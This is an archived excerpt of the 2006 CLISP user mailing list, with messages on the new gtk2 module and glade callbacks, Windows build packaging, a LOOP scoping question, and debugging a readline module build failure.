Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <4548A79F.50008@gnu.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] new clisp module: gtk2 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 02 Nov 2006 07:19:11 -0000 On 11/1/06, Sam Steingold wrote: > Tomas Zellerin wrote: > > On 10/16/06, Sam Steingold wrote: > >> CLISP now has a new module: gtk2, based on a generous contribution of > >> James Bailey . > > but how do I assign Lisp function to a callback? > > Through gtk machinery, or is there some higher level mechanism? > > use glade. > just open "modules/gtk2/ui.glade" in glade and add callbacks. > gtk:gui will do all the necessary magic. I think I see. I just did not believe that simple writing lisp into callbacks could work. Thanks, Tomas From jdunrue@gmail.com Wed Nov 01 23:26:35 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GfWyB-0007he-0N for clisp-list@lists.sourceforge.net; Wed, 01 Nov 2006 23:26:35 -0800 Received: from py-out-1112.google.com ([64.233.166.180]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GfWy7-0000Jo-Jw for clisp-list@lists.sourceforge.net; Wed, 01 Nov 2006 23:26:34 -0800 Received: by py-out-1112.google.com with SMTP id j37so49605pyc for ; Wed, 01 Nov 2006 23:26:29 -0800 (PST) Received: by 10.35.113.12 with SMTP id q12mr259922pym.1162452389406; Wed, 01 Nov 2006 23:26:29 -0800 (PST) Received: by 10.35.51.17 with HTTP; Wed, 1 Nov 2006 23:26:29 -0800 (PST) Message-ID: Date: Thu, 2 Nov 2006 00:26:29 -0700 From: "Jack Unrue" To: clisp-list@lists.sourceforge.net In-Reply-To: <45499650.8000203@x-ray.at> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <4548B85D.6050101@x-ray.at> <4548C3C1.7050507@gnu.org> <45499650.8000203@x-ray.at> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] Updated: clisp-2.41-1 for cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 02 Nov 2006 07:26:35 -0000 On 11/1/06, Reini Urban wrote: > Sam Steingold schrieb: > > Does anyone use this module? > > That's why I'm trying to add it to the clisp distro, at least. > If there's no response or other modules seem to be better I'll drop it. Is there agreement that the mingw builds should have this as well? If so, I'll make effort to include it in mingw-without-readline for the next release. If Yaroslav includes it in his build too, then it might get some better exposure. -- Jack Unrue From Joerg-Cyril.Hoehle@t-systems.com Thu Nov 02 02:44:17 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gfa3V-0000QQ-O4 for clisp-list@lists.sourceforge.net; Thu, 02 Nov 2006 02:44:17 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Gfa3N-00013s-69 for clisp-list@lists.sourceforge.net; Thu, 02 Nov 2006 02:44:14 -0800 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.telekom.de with ESMTP; Thu, 2 Nov 2006 10:28:35 +0100 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Thu, 2 Nov 2006 10:28:34 +0100 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Thu, 2 Nov 2006 10:28:32 +0100 Message-Id: in-reply-to: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] loop for vars on vars Thread-Index: Acb5lpR7/6z6xR/cQLys5uke0QjG4QEydLWw From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 02 Nov 2006 09:28:34.0625 (UTC) FILETIME=[44CDAB10:01C6FE61] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: zellerin@gmail.com Subject: Re: [clisp-list] loop for vars on vars X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 02 Nov 2006 10:44:17 -0000 Tomas Zellerin wrote: >(let ((vars '(1 2 3 4))) > (loop for i from 0 to 10 for vars on vars do (print vars))) >Is this a bug? Without the for i from 0 to 10 clause it appears to >work as expected. The construction is used in Ironclad macros >expansion, so it is not an academical example, however unfortunate the >duplication of variable name may be. Where are the language lawyers? CLHS 6.1.1.4 states "One implication of this interleaving is that it is implementation-dependent whether the lexical environment in which the initial value forms (variously called the form1, form2, form3, step-fun, vector, hash-table, and package) in any for-as-subclause, except for-as-equals-then, are evaluated includes only the loop variables preceding that form or includes more or all of the loop variables; the form1 and form2 in a for-as-equals-then form includes the lexical environment of all the loop variables." Thus the only call for action here is that CLISP is encouraged to and should document its "implementatio dependent" choices (cf. glossary). I thought CLISP purports to document all of them? Please file a bug to Ironclad instead. Regards, Jorg Hohle From sds@gnu.org Thu Nov 02 06:03:40 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GfdAS-00018y-BN for clisp-list@lists.sourceforge.net; Thu, 02 Nov 2006 06:03:40 -0800 Received: from janestcapital.com ([66.155.124.107]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GfdAN-00024f-4y for clisp-list@lists.sourceforge.net; Thu, 02 Nov 2006 06:03:40 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AAA92D0C008E; Thu, 02 Nov 2006 09:03:21 -0500 Message-ID: <4549FAA8.1070705@gnu.org> Date: Thu, 02 Nov 2006 09:03:20 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: Tomas Zellerin , clisp-list@lists.sourceforge.net References: <4548A79F.50008@gnu.org> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] new clisp module: gtk2 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 02 Nov 2006 14:03:40 -0000 Tomas Zellerin wrote: > On 11/1/06, Sam Steingold wrote: >> Tomas Zellerin wrote: >>> On 10/16/06, Sam Steingold wrote: >>>> CLISP now has a new module: gtk2, based on a generous contribution of >>>> James Bailey . > >>> but how do I assign Lisp function to a callback? >>> Through gtk machinery, or is there some higher level mechanism? >> >> use glade. >> just open "modules/gtk2/ui.glade" in glade and add callbacks. >> gtk:gui will do all the necessary magic. > > I think I see. I just did not believe that simple writing lisp into > callbacks could work. it does, doesn't it? :-) BTW, any glade experts here? 1. why is the "about" window displayed undecorated? 2. why doesn't Enter in the "apropos" text entry box work? Sam. From sds@gnu.org Thu Nov 02 06:08:49 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GfdFR-0001YZ-1x for clisp-list@lists.sourceforge.net; Thu, 02 Nov 2006 06:08:49 -0800 Received: from www.janestcapital.com ([66.155.124.107] helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GfdFO-0003DT-JS for clisp-list@lists.sourceforge.net; Thu, 02 Nov 2006 06:08:48 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id ABE724200CA; Thu, 02 Nov 2006 09:08:39 -0500 Message-ID: <4549FBE6.7090907@gnu.org> Date: Thu, 02 Nov 2006 09:08:38 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: Jack Unrue , clisp-list@lists.sourceforge.net References: <4548B85D.6050101@x-ray.at> <4548C3C1.7050507@gnu.org> <45499650.8000203@x-ray.at> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Updated: clisp-2.41-1 for cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 02 Nov 2006 14:08:49 -0000 Jack Unrue wrote: > On 11/1/06, Reini Urban wrote: >> Sam Steingold schrieb: >>> Does anyone use this module? >> That's why I'm trying to add it to the clisp distro, at least. >> If there's no response or other modules seem to be better I'll drop it. > > Is there agreement that the mingw builds should have this as well? the "official" opinion of the maintainers is expressed in "Additional Information for Maintainers of Binary Packages:" section of clisp/unix/INSTALL; see item 3 "Module selection:". > If so, I'll make effort to include it in mingw-without-readline > for the next release. If Yaroslav includes it in his build too, then it > might get some better exposure. it is entirely up to you. Sam. From sds@gnu.org Thu Nov 02 06:15:54 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GfdMH-0002DS-Va for clisp-list@lists.sourceforge.net; Thu, 02 Nov 2006 06:15:54 -0800 Received: from janestcapital.com ([66.155.124.107]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GfdMD-0005lT-0D for clisp-list@lists.sourceforge.net; Thu, 02 Nov 2006 06:15:53 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AD8D28800CA; Thu, 02 Nov 2006 09:15:41 -0500 Message-ID: <4549FD8C.60803@gnu.org> Date: Thu, 02 Nov 2006 09:15:40 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: zellerin@gmail.com Subject: Re: [clisp-list] loop for vars on vars X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 02 Nov 2006 14:15:54 -0000 Hoehle, Joerg-Cyril wrote: > Tomas Zellerin wrote: >> (let ((vars '(1 2 3 4))) >> (loop for i from 0 to 10 for vars on vars do (print vars))) > >> Is this a bug? Without the for i from 0 to 10 clause it appears to >> work as expected. The construction is used in Ironclad macros >> expansion, so it is not an academical example, however unfortunate the >> duplication of variable name may be. > > CLHS 6.1.1.4 states "One implication of this interleaving is that it is > implementation-dependent whether the lexical environment in which the > initial value forms (variously called the form1, form2, form3, step-fun, > vector, hash-table, and package) in any for-as-subclause, except > for-as-equals-then, are evaluated includes only the loop variables > preceding that form or includes more or all of the loop variables; the > form1 and form2 in a for-as-equals-then form includes the lexical > environment of all the loop variables." you are right, the code is not portable de jure. OTOH, it is portable de facto, and I see no reason not to support it. http://www.cygwin.com/acronyms/#PTC > Thus the only call for action here is that CLISP is encouraged to and > should document its "implementatio dependent" choices (cf. glossary). > I thought CLISP purports to document all of them? :-) > Please file a bug to Ironclad instead. Yes, absolutely - non-portable code is bad. Sam. From Joerg-Cyril.Hoehle@t-systems.com Thu Nov 02 10:58:47 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gfhm3-0006RU-2t for clisp-list@lists.sourceforge.net; Thu, 02 Nov 2006 10:58:47 -0800 Received: from tcmail31.telekom.de ([217.6.95.238]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Gfhly-0006lR-Hw for clisp-list@lists.sourceforge.net; Thu, 02 Nov 2006 10:58:47 -0800 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.telekom.de with ESMTP; Thu, 2 Nov 2006 19:58:24 +0100 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Thu, 2 Nov 2006 19:58:23 +0100 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Thu, 2 Nov 2006 19:58:21 +0100 Message-Id: in-reply-to: <4549FAA8.1070705@gnu.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] new clisp module: gtk2 Thread-Index: Acb+iDWTCB+FOHThT/eccAUqaEktPwAJebDA From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 02 Nov 2006 18:58:23.0576 (UTC) FILETIME=[DF019580:01C6FEB0] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: dgym.bailey@gmail.com, zellerin@gmail.com Subject: Re: [clisp-list] new clisp module: gtk2 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 02 Nov 2006 18:58:47 -0000 Sam Steingold wrote: >BTW, any glade experts here? >1. why is the "about" window displayed undecorated? >2. why doesn't Enter in the "apropos" text entry box work? 3. why is the window not destroyed/unmapped after I choose Menu > File > Exit in Gnome (Ubuntu Dapper)? =20 When I hit the close button, after a few seconds Gnome asks me whether to kill the unresponsive application. If I proceed, clisp is killed. 4. Did anybody ever see a clean-up callback called? Regards, Jorg Hohle. From sds@gnu.org Thu Nov 02 11:20:47 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gfi7L-0008Sa-GP for clisp-list@lists.sourceforge.net; Thu, 02 Nov 2006 11:20:47 -0800 Received: from www.janestcapital.com ([66.155.124.107] helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Gfi7H-00055j-U1 for clisp-list@lists.sourceforge.net; Thu, 02 Nov 2006 11:20:47 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A4FD2FE0008E; Thu, 02 Nov 2006 14:20:29 -0500 Message-ID: <454A44FC.2060005@gnu.org> Date: Thu, 02 Nov 2006 14:20:28 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net References: <4549FAA8.1070705@gnu.org> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: dgym.bailey@gmail.com, zellerin@gmail.com Subject: Re: [clisp-list] new clisp module: gtk2 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 02 Nov 2006 19:20:48 -0000 Hoehle, Joerg-Cyril wrote: > Sam Steingold wrote: >> BTW, any glade experts here? >> 1. why is the "about" window displayed undecorated? >> 2. why doesn't Enter in the "apropos" text entry box work? > > 3. why is the window not destroyed/unmapped after I choose Menu > File > > Exit in Gnome (Ubuntu Dapper)? > When I hit the close button, after a few seconds Gnome asks me whether > to kill the unresponsive application. If I proceed, clisp is killed. WFM: clisp-gui-main == # textview_repl == # entry1_apropos == # statusbar1 == # dialog1_about == # textview_about == # calling (GTK:gui-quit) with arguments (# #) Exited gui NIL did you do cvs up cd build make MODULES=gtk2 full ./clisp -q -norc -K full -x '(gtk:gui "gtk2/ui.glade")' > 4. Did anybody ever see a clean-up callback called? no. in what situation should it be called? From pjb@informatimago.com Thu Nov 02 17:27:26 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gfnq9-0008Oz-TF for clisp-list@lists.sourceforge.net; Thu, 02 Nov 2006 17:27:26 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Gfnq7-0005hR-Tw for clisp-list@lists.sourceforge.net; Thu, 02 Nov 2006 17:27:25 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id CA2B2585E7; Fri, 3 Nov 2006 02:27:17 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 9E515585E6; Fri, 3 Nov 2006 02:27:13 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 4F1E0D9D; Fri, 3 Nov 2006 02:27:13 +0100 (CET) From: Pascal Bourguignon Message-ID: <17738.39665.244242.342156@thalassa.informatimago.com> Date: Fri, 3 Nov 2006 02:27:13 +0100 To: clisp-list@lists.sourceforge.net In-Reply-To: <45467F61.3010400@gnu.org> References: <20061029205227.190A512AD83@thalassa.informatimago.com> <45467F61.3010400@gnu.org> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] 2.41 on linux can't compile (pb with readline) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 03 Nov 2006 01:27:26 -0000 Sam Steingold writes: > Pascal Bourguignon wrote: > > Always with my same clisp-compile-linux script, 2.41 cannot be > > compiled on Linux. It fails on the readline module. I've updated to > > readline-5.2 but it keeps breaking the same way. > >=20 > > ---------------------------------------------------------------------= --- > > #!/bin/bash > > version=3D$(awk -F=3D '/PACKAGE_VERSION=3D/{print substr($2,2,index($= 2," ")-2);}' ./src/configure) >=20 > I suggest parsing the output of "./src/configure --version" instead. >=20 > > if [ $# -ge 1 ] ; then version=3D$1 ; shift ; fi > > echo version=3D$version > > rm -rf /tmp/clisp-${version}-build/ > > time ./configure \ > > --prefix=3D/usr/local/languages/clisp-${version} \ > > --with-libz-prefix=3D/usr/local \ > > $(for m in \ > > zlib \ > > bindings/glibc \ > > clx/new-clx \ > > pcre \ > > rawsock \ > > regexp \ > > syscalls \ > > wildcard \ > > ; do \ > > if expr match "$m" 'i18n\|regexp\|syscalls' >/dev/null;\ > > then true already there ;\ > > else echo -n "--with-module=3D$m " ;\ > > fi ; done) \ > > --build /tmp/clisp-${version}-build \ > > --install > > ---------------------------------------------------------------------= --- >=20 >=20 >=20 >=20 > > gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-= type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizatio= ns -falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -I/tmp/clisp-2.41-bu= ild -c modules.c > > gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-= type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizatio= ns -falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -x none modules.o re= adline.o -lreadline -lncurses regexi.o regex.o calls.o -lcrypt -lm gettex= t.o lisp.a libcharset.a libavcall.a libcallback.a -lreadline -lncurses -l= dl -liconv -lsigsegv -o lisp.run > > calls.o(.text+0x1225): In function `temp_name': > > /tmp/clisp-2.41-build/syscalls/calls.c:432: the use of `tempnam' is d= angerous, better use `mkstemp' > > boot/lisp.run -B . -M boot/lispinit.mem -norc -q -i i18n/preload.lisp= -i syscalls/preload.lisp -i regexp/preload.lisp -x (saveinitmem "base/li= spinit.mem") > > ;; Loading file i18n/preload.lisp ... > > ;; Loaded file i18n/preload.lisp > > ;; Loading file syscalls/preload.lisp ... > > ;; Loaded file syscalls/preload.lisp > > ;; Loading file regexp/preload.lisp ... > > ;; Loaded file regexp/preload.lisp > > 1729784 ; > > 523832 > > base/lisp.run -B . -M base/lispinit.mem -norc -q -i i18n/i18n -i sysc= alls/posix -i regexp/regexp -i readline/readline -x (saveinitmem "base/li= spinit.mem") > ... > > *** - FUNCALL: undefined function |module__readline__constant_map_int= | >=20 > module__readline__constant_map_int should be defined in=20 > build/readline/readline.c > please check it. > please also check if build/readline/readline.o is indeed in base/lisp.r= un. They are present, both when compiled in the src directory or with --buid: [pjb@thalassa readline]$ ( cat readline.c ; nm readline.o ) | grep consta= nt_map_int=20 int module__readline__constant_map_int (int number, int *definedp); int module__readline__constant_map_int (int number, int *definedp) { 00000000 T module__readline__constant_map_int [pjb@thalassa readline]$ pwd /local/src/languages/clisp/clisp-2.41/src/readline =20 [pjb@thalassa clisp-2.41]$ cd /tmp/clisp-2.41-build/readline/ You have new mail in /var/spool/mail/pjb [pjb@thalassa readline]$ ( cat readline.c ; nm readline.o ) | grep consta= nt_map_int=20 int module__readline__constant_map_int (int number, int *definedp); int module__readline__constant_map_int (int number, int *definedp) { 00000000 T module__readline__constant_map_int [pjb@thalassa readline]$=20 --=20 __Pascal Bourguignon__ http://www.informatimago.com/ The mighty hunter Returns with gifts of plump birds, Your foot just squashed one. From sds@gnu.org Thu Nov 02 20:57:59 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gfr7u-0001LK-UL for clisp-list@lists.sourceforge.net; Thu, 02 Nov 2006 20:57:59 -0800 Received: from mta2.srv.hcvlny.cv.net ([167.206.4.197]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Gfr7r-00055P-FI for clisp-list@lists.sourceforge.net; Thu, 02 Nov 2006 20:57:58 -0800 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta2.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J850013K1S5LU51@mta2.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Thu, 02 Nov 2006 23:57:42 -0500 (EST) Received: by loiso.podval.org (Postfix, from userid 500) id A66B421E0AF; Thu, 02 Nov 2006 23:57:41 -0500 (EST) Date: Thu, 02 Nov 2006 23:57:41 -0500 From: Sam Steingold In-reply-to: <17738.39665.244242.342156@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net, pjb@informatimago.com Mail-followup-to: clisp-list@lists.sourceforge.net, pjb@informatimago.com Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <20061029205227.190A512AD83@thalassa.informatimago.com> <45467F61.3010400@gnu.org> <17738.39665.244242.342156@thalassa.informatimago.com> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.90 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] 2.41 on linux can't compile (pb with readline) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 03 Nov 2006 04:57:59 -0000 > * Pascal Bourguignon [2006-11-03 02:27:13 +0100]: > >> > *** - FUNCALL: undefined function |module__readline__constant_map_int| >> >> module__readline__constant_map_int should be defined in >> build/readline/readline.c >> please check it. >> please also check if build/readline/readline.o is indeed in base/lisp.run. > > They are present, both when compiled in the src directory or with --buid: > > [pjb@thalassa readline]$ ( cat readline.c ; nm readline.o ) | grep constant_map_int > int module__readline__constant_map_int (int number, int *definedp); > int module__readline__constant_map_int (int number, int *definedp) { > 00000000 T module__readline__constant_map_int ok, this is wrong. $ grep module__readline__constant_map_int readline/readline.c int module__readline__constant_map_int (int number, int *definedp); int module__readline__constant_map_int (int number, int *definedp) { register_foreign_function((void*)&module__readline__constant_map_int,"module__readline__constant_map_int",1024); module__readline__constant_map_int must be also registered, and it is not. why? -- Sam Steingold (http://sds.podval.org/) on Fedora Core release 5 (Bordeaux) http://memri.org http://truepeace.org http://honestreporting.com http://ffii.org http://thereligionofpeace.com http://camera.org Daddy, why doesn't this magnet pick up this floppy disk? From Joerg-Cyril.Hoehle@t-systems.com Fri Nov 03 02:46:54 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GfwZZ-00071L-I8 for clisp-list@lists.sourceforge.net; Fri, 03 Nov 2006 02:46:53 -0800 Received: from tcmail31.telekom.de ([217.6.95.238]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GfwZX-0003mU-7L for clisp-list@lists.sourceforge.net; Fri, 03 Nov 2006 02:46:52 -0800 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.telekom.de with ESMTP; Fri, 3 Nov 2006 11:46:42 +0100 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Fri, 3 Nov 2006 11:46:39 +0100 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Fri, 3 Nov 2006 11:46:36 +0100 Message-Id: in-reply-to: <454A44FC.2060005@gnu.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: new clisp module: gtk2 Thread-Index: Acb+tAYFDbv0FQZ0R2CC2VCcKdRV0wAgD7yA From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 03 Nov 2006 10:46:39.0171 (UTC) FILETIME=[576C6930:01C6FF35] X-Spam-Score: 0.0 (/) X-Spam-Report: 